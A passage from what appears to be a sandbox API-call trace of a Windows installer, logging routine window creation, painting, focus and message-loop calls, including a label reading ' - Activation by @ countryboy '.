hWnd=0x10342, Msg=0x47, wParam=0x0, lParam=0x18f7ac) returned 0x0 [0264.395] GetClientRect (in: hWnd=0x60050, lpRect=0x18f8ac | out: lpRect=0x18f8ac) returned 1 [0264.395] IsRectEmpty (lprc=0x18f8ac) returned 0 [0264.395] IsRectEmpty (lprc=0x18f8ac) returned 0 [0264.395] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0264.395] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xc, wParam=0x0, lParam=0x38eb8c) returned 0x1 [0264.395] SendMessageA (hWnd=0x10354, Msg=0xbd38, wParam=0x1b0106ca, lParam=0x10354) returned 0x2f100178 [0264.395] GetSysColor (nIndex=8) returned 0x0 [0264.395] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0264.395] GetSysColor (nIndex=5) returned 0xffffff [0264.395] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0264.395] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0264.395] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e464) returned 0x11 [0264.396] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0264.396] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x12, lParam=0x18e394) returned 0x11 [0264.396] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xd, wParam=0x24, lParam=0x18e368) returned 0x11 [0264.474] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10354, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0264.474] InvalidateRect (hWnd=0x10354, lpRect=0x0, bErase=0) returned 1 [0264.474] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0264.474] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xc, wParam=0x0, lParam=0x38d148) returned 0x1 [0264.474] SendMessageA (hWnd=0x10352, Msg=0xbd38, wParam=0x2a010b57, lParam=0x10352) returned 0x2f100178 [0264.474] GetSysColor (nIndex=8) returned 0x0 [0264.474] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0264.474] GetSysColor (nIndex=5) returned 0xffffff [0264.474] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0264.475] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x42 [0264.475] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x43, lParam=0x18e464) returned 0x42 [0264.475] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x42 [0264.475] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x43, lParam=0x18e394) returned 0x42 [0264.475] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xd, wParam=0x86, lParam=0x18e368) returned 0x42 [0264.476] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10352, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0264.476] InvalidateRect (hWnd=0x10352, lpRect=0x0, bErase=0) returned 1 [0264.476] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.476] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f7b8 | out: lpWndClass=0x18f7b8) returned 1 [0264.476] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f820 | out: lpWndClass=0x18f820) returned 1 [0264.476] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName=" - Activation by @ countryboy ", dwStyle=0x4c00018c, X=0, Y=306, nWidth=148, nHeight=14, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10356 [0264.477] SetWindowLongA (hWnd=0x10356, nIndex=-4, dwNewLong=2296825) returned 4274892 [0264.477] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1275068812 [0264.477] GetWindowLongA (hWnd=0x10356, nIndex=-12) returned 0 [0264.477] SetWindowLongA (hWnd=0x10356, nIndex=-12, dwNewLong=66390) returned 0 [0264.477] SetPropA (hWnd=0x10356, lpString=0xc167, hData=0x2c8ca20) returned 1 [0264.477] SetPropA (hWnd=0x10356, lpString=0xc168, hData=0x2c8ca20) returned 1 [0264.477] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x81, wParam=0x0, lParam=0x18f378) returned 0x1 [0264.478] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x83, wParam=0x0, lParam=0x18f364) returned 0x0 [0264.478] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x1, wParam=0x0, lParam=0x18f378) returned 0x0 [0264.478] IsIconic (hWnd=0x10356) returned 0 [0264.478] GetWindowRect (in: hWnd=0x10356, lpRect=0x18f178 | out: lpRect=0x18f178) returned 1 [0264.478] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1275068812 [0264.478] GetWindowLongA (hWnd=0x10356, nIndex=-8) returned 786528 [0264.478] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f178 | out: lpPoint=0x18f178) returned 1 [0264.478] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f180 | out: lpPoint=0x18f180) returned 1 [0264.478] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x5, wParam=0x0, lParam=0xe0094) returned 0x0 [0264.478] GetClientRect (in: hWnd=0x10356, lpRect=0x18f1a4 | out: lpRect=0x18f1a4) returned 1 [0264.478] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x3, wParam=0x0, lParam=0x1320000) returned 0x0 [0264.478] IsIconic (hWnd=0x10356) returned 0 [0264.478] GetWindowRect (in: hWnd=0x10356, lpRect=0x18f17c | out: lpRect=0x18f17c) returned 1 [0264.478] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1275068812 [0264.478] GetWindowLongA (hWnd=0x10356, nIndex=-8) returned 786528 [0264.478] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f17c | out: lpPoint=0x18f17c) returned 1 [0264.478] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f184 | out: lpPoint=0x18f184) returned 1 [0264.479] GetWindowThreadProcessId (in: hWnd=0x10356, lpdwProcessId=0x18f188 | out: lpdwProcessId=0x18f188) returned 0x8cc [0264.479] GetCurrentProcessId () returned 0x8d0 [0264.479] GetPropA (hWnd=0x10356, lpString=0xc167) returned 0x2c8ca20 [0264.479] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0xbe10, wParam=0x3560001, lParam=0x10356) returned 0x0 [0264.479] IsIconic (hWnd=0x10356) returned 0 [0264.479] GetWindowRect (in: hWnd=0x10356, lpRect=0x18f748 | out: lpRect=0x18f748) returned 1 [0264.479] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1275068812 [0264.479] GetWindowLongA (hWnd=0x10356, nIndex=-8) returned 786528 [0264.479] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f748 | out: lpPoint=0x18f748) returned 1 [0264.479] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f750 | out: lpPoint=0x18f750) returned 1 [0264.479] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.479] SetPropA (hWnd=0x10356, lpString=0xc167, hData=0x2c8ca20) returned 1 [0264.479] SetPropA (hWnd=0x10356, lpString=0xc168, hData=0x2c8ca20) returned 1 [0264.479] SetWindowPos (hWnd=0x10356, hWndInsertAfter=0x10348, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.479] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x46, wParam=0x0, lParam=0x18f80c) returned 0x0 [0264.479] IsIconic (hWnd=0x10356) returned 0 [0264.479] GetWindowRect (in: hWnd=0x10356, lpRect=0x18f5d8 | out: lpRect=0x18f5d8) returned 1 [0264.479] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1275068812 [0264.479] GetWindowLongA (hWnd=0x10356, nIndex=-8) returned 786528 [0264.479] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f5d8 | out: lpPoint=0x18f5d8) returned 1 [0264.480] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f5e0 | out: lpPoint=0x18f5e0) returned 1 [0264.480] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x47, wParam=0x0, lParam=0x18f80c) returned 0x0 [0264.480] SetWindowPos (hWnd=0x10356, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.480] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x46, wParam=0x0, lParam=0x18f7bc) returned 0x0 [0264.480] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.480] GetClientRect (in: hWnd=0x10356, lpRect=0x18f5e4 | out: lpRect=0x18f5e4) returned 1 [0264.480] FillRect (hDC=0x1b0106ca, lprc=0x18f5e4, hbr=0xe100186) returned 1 [0264.481] IsIconic (hWnd=0x10356) returned 0 [0264.481] GetWindowRect (in: hWnd=0x10356, lpRect=0x18f588 | out: lpRect=0x18f588) returned 1 [0264.481] GetWindowLongA (hWnd=0x10356, nIndex=-16) returned 1543504268 [0264.481] GetWindowLongA (hWnd=0x10356, nIndex=-8) returned 786528 [0264.481] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f588 | out: lpPoint=0x18f588) returned 1 [0264.481] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f590 | out: lpPoint=0x18f590) returned 1 [0264.481] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10356, Msg=0x47, wParam=0x0, lParam=0x18f7bc) returned 0x0 [0264.481] IsIconic (hWnd=0xc0060) returned 0 [0264.481] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f8bc | out: lpRect=0x18f8bc) returned 1 [0264.481] IsIconic (hWnd=0xc0060) returned 0 [0264.481] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f860 | out: lpRect=0x18f860) returned 1 [0264.481] IsIconic (hWnd=0xc0060) returned 0 [0264.481] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f858 | out: lpRect=0x18f858) returned 1 [0264.481] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.481] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18f798 | out: lpWndClass=0x18f798) returned 1 [0264.481] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewButton", lpWndClass=0x18f800 | out: lpWndClass=0x18f800) returned 1 [0264.481] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewButton", lpWindowName="< &Back", dwStyle=0x44010000, X=252, Y=327, nWidth=75, nHeight=23, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10358 [0264.482] SetWindowLongA (hWnd=0x10358, nIndex=-4, dwNewLong=2297761) returned 4274892 [0264.482] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1140916224 [0264.482] GetWindowLongA (hWnd=0x10358, nIndex=-12) returned 0 [0264.482] SetWindowLongA (hWnd=0x10358, nIndex=-12, dwNewLong=66392) returned 0 [0264.482] SetPropA (hWnd=0x10358, lpString=0xc167, hData=0x2c86da4) returned 1 [0264.482] SetPropA (hWnd=0x10358, lpString=0xc168, hData=0x2c86da4) returned 1 [0264.482] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x81, wParam=0x0, lParam=0x18f358) returned 0x1 [0264.482] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x83, wParam=0x0, lParam=0x18f344) returned 0x0 [0264.490] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x1, wParam=0x0, lParam=0x18f358) returned 0x0 [0264.490] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x55, wParam=0x10358, lParam=0x3) returned 0x1 [0264.491] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0264.491] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0264.491] IsIconic (hWnd=0x10358) returned 0 [0264.491] GetWindowRect (in: hWnd=0x10358, lpRect=0x18f14c | out: lpRect=0x18f14c) returned 1 [0264.491] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1140916224 [0264.491] GetWindowLongA (hWnd=0x10358, nIndex=-8) returned 786528 [0264.491] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f14c | out: lpPoint=0x18f14c) returned 1 [0264.491] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f154 | out: lpPoint=0x18f154) returned 1 [0264.491] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x5, wParam=0x0, lParam=0x17004b) returned 0x0 [0264.491] GetClientRect (in: hWnd=0x10358, lpRect=0x18f178 | out: lpRect=0x18f178) returned 1 [0264.491] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x3, wParam=0x0, lParam=0x14700fc) returned 0x0 [0264.491] IsIconic (hWnd=0x10358) returned 0 [0264.491] GetWindowRect (in: hWnd=0x10358, lpRect=0x18f150 | out: lpRect=0x18f150) returned 1 [0264.491] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1140916224 [0264.491] GetWindowLongA (hWnd=0x10358, nIndex=-8) returned 786528 [0264.491] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f150 | out: lpPoint=0x18f150) returned 1 [0264.491] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f158 | out: lpPoint=0x18f158) returned 1 [0264.491] GetWindowThreadProcessId (in: hWnd=0x10358, lpdwProcessId=0x18f168 | out: lpdwProcessId=0x18f168) returned 0x8cc [0264.491] GetCurrentProcessId () returned 0x8d0 [0264.491] GetPropA (hWnd=0x10358, lpString=0xc167) returned 0x2c86da4 [0264.491] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xbe10, wParam=0x3580001, lParam=0x10358) returned 0x0 [0264.492] IsIconic (hWnd=0x10358) returned 0 [0264.492] GetWindowRect (in: hWnd=0x10358, lpRect=0x18f728 | out: lpRect=0x18f728) returned 1 [0264.492] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1140916224 [0264.492] GetWindowLongA (hWnd=0x10358, nIndex=-8) returned 786528 [0264.492] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f728 | out: lpPoint=0x18f728) returned 1 [0264.492] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f730 | out: lpPoint=0x18f730) returned 1 [0264.492] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.492] SetPropA (hWnd=0x10358, lpString=0xc167, hData=0x2c86da4) returned 1 [0264.492] SetPropA (hWnd=0x10358, lpString=0xc168, hData=0x2c86da4) returned 1 [0264.492] SetWindowPos (hWnd=0x10358, hWndInsertAfter=0x60050, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.492] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x46, wParam=0x0, lParam=0x18f7f4) returned 0x0 [0264.492] IsIconic (hWnd=0x10358) returned 0 [0264.492] GetWindowRect (in: hWnd=0x10358, lpRect=0x18f5b4 | out: lpRect=0x18f5b4) returned 1 [0264.492] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1140916224 [0264.492] GetWindowLongA (hWnd=0x10358, nIndex=-8) returned 786528 [0264.492] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f5b4 | out: lpPoint=0x18f5b4) returned 1 [0264.492] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f5bc | out: lpPoint=0x18f5bc) returned 1 [0264.492] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x47, wParam=0x0, lParam=0x18f7f4) returned 0x0 [0264.493] SetWindowPos (hWnd=0x10358, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.493] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x46, wParam=0x0, lParam=0x18f798) returned 0x0 [0264.493] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0264.493] GetClientRect (in: hWnd=0x10358, lpRect=0x18f5b4 | out: lpRect=0x18f5b4) returned 1 [0264.493] FillRect (hDC=0x2a010b57, lprc=0x18f5b4, hbr=0xe100186) returned 1 [0264.493] IsIconic (hWnd=0x10358) returned 0 [0264.493] GetWindowRect (in: hWnd=0x10358, lpRect=0x18f558 | out: lpRect=0x18f558) returned 1 [0264.493] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0264.493] GetWindowLongA (hWnd=0x10358, nIndex=-8) returned 786528 [0264.493] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f558 | out: lpPoint=0x18f558) returned 1 [0264.494] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f560 | out: lpPoint=0x18f560) returned 1 [0264.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0x47, wParam=0x0, lParam=0x18f798) returned 0x0 [0264.494] IsIconic (hWnd=0xc0060) returned 0 [0264.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f8b0 | out: lpRect=0x18f8b0) returned 1 [0264.494] IsIconic (hWnd=0xc0060) returned 0 [0264.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f854 | out: lpRect=0x18f854) returned 1 [0264.494] IsIconic (hWnd=0xc0060) returned 0 [0264.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f84c | out: lpRect=0x18f84c) returned 1 [0264.494] SetFocus (hWnd=0xc0060) returned 0x10340 [0264.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0xc0060, lParam=0x0) returned 0x0 [0264.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0264.495] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0264.495] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0264.495] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0264.495] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0264.495] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0264.495] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x0 [0264.495] GetFocus () returned 0xc0060 [0264.495] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0264.495] EnableWindow (hWnd=0x10340, bEnable=0) returned 0 [0264.495] GetCapture () returned 0x0 [0264.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0264.495] GetCapture () returned 0x0 [0264.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0264.496] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x1f01019b, lParam=0x10340) returned 0xe100186 [0264.496] GetSysColor (nIndex=8) returned 0x0 [0264.496] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0264.496] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.496] SetBkColor (hdc=0x1f01019b, color=0xf0f0f0) returned 0xffffff [0264.496] IsIconic (hWnd=0xc0060) returned 0 [0264.496] IsIconic (hWnd=0xc0060) returned 0 [0264.496] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f144 | out: lpRect=0x18f144) returned 1 [0264.496] FillRect (hDC=0x3901069e, lprc=0x18f144, hbr=0xe100186) returned 1 [0264.496] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3901069e, lParam=0x4) returned 0x0 [0264.496] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3901069e, lParam=0x10340) returned 0xe100186 [0264.496] GetSysColor (nIndex=8) returned 0x0 [0264.496] SetTextColor (hdc=0x3901069e, color=0x0) returned 0x0 [0264.497] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.497] SetBkColor (hdc=0x3901069e, color=0xf0f0f0) returned 0xf0f0f0 [0264.497] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef6c | out: lpdwProcessId=0x18ef6c) returned 0x8cc [0264.497] GetCurrentProcessId () returned 0x8d0 [0264.497] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.497] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f254) returned 0x0 [0264.497] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef6c | out: lpdwProcessId=0x18ef6c) returned 0x8cc [0264.497] GetCurrentProcessId () returned 0x8d0 [0264.497] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.497] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f254) returned 0x0 [0264.497] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.497] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e128) returned 0x7 [0264.497] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e100) returned 0x7 [0264.498] GetSystemMenu (hWnd=0xc0060, bRevert=0) returned 0x70217 [0264.498] EnableMenuItem (hMenu=0x70217, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10358, Msg=0xd, wParam=0x8, lParam=0x2c8e904) returned 0x7 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x2c8e904) returned 0x7 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x6 [0264.499] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0xd, wParam=0x7, lParam=0x2c8e904) returned 0x6 [0264.499] SetFocus (hWnd=0x20322) returned 0xc0060 [0264.499] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x8, wParam=0x20322, lParam=0x0) returned 0x0 [0264.499] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0264.501] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0264.501] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0264.501] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0264.501] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0264.501] SendMessageA (hWnd=0x20320, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0264.501] SendMessageA (hWnd=0x20322, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0264.501] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1409353796 [0264.501] GetClientRect (in: hWnd=0x20322, lpRect=0x18f68c | out: lpRect=0x18f68c) returned 1 [0264.502] ClientToScreen (in: hWnd=0x20322, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0264.502] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0264.502] ClientToScreen (in: hWnd=0x20322, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0264.502] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f674 | out: lpPoint=0x18f674) returned 1 [0264.502] IsIconic (hWnd=0xc0060) returned 0 [0264.502] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f674 | out: lpRect=0x18f674) returned 1 [0264.502] IsIconic (hWnd=0xc0060) returned 0 [0264.502] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f674 | out: lpRect=0x18f674) returned 1 [0264.502] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0264.502] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1543569409 [0264.502] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0264.502] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x7, wParam=0xc0060, lParam=0x0) returned 0x0 [0264.502] GetWindowThreadProcessId (in: hWnd=0x20322, lpdwProcessId=0x18e280 | out: lpdwProcessId=0x18e280) returned 0x8cc [0264.502] GetCurrentProcessId () returned 0x8d0 [0264.502] GetPropA (hWnd=0x20322, lpString=0xc167) returned 0x2c878a0 [0264.502] GetFocus () returned 0x20322 [0264.502] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0264.502] GetKeyState (nVirtKey=18) returned 1 [0264.503] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.503] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=821, y=600)) returned 1 [0264.503] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0264.503] PtInRect (lprc=0x18fc68, pt=0x15e) returned 0 [0264.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0264.503] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.503] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.503] GetCapture () returned 0x0 [0264.503] PtInRect (lprc=0x18fd3c, pt=0x15e) returned 0 [0264.503] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0264.503] WindowFromPoint (Point=0x335) returned 0xc0060 [0264.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.503] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0264.503] GetCurrentProcessId () returned 0x8d0 [0264.503] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0264.503] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0264.503] PtInRect (lprc=0x18fd08, pt=0x15e) returned 0 [0264.503] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x153015e) returned 0x0 [0264.504] GetKeyState (nVirtKey=18) returned 1 [0264.504] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.504] TranslateMessage (lpMsg=0x18ff1c) 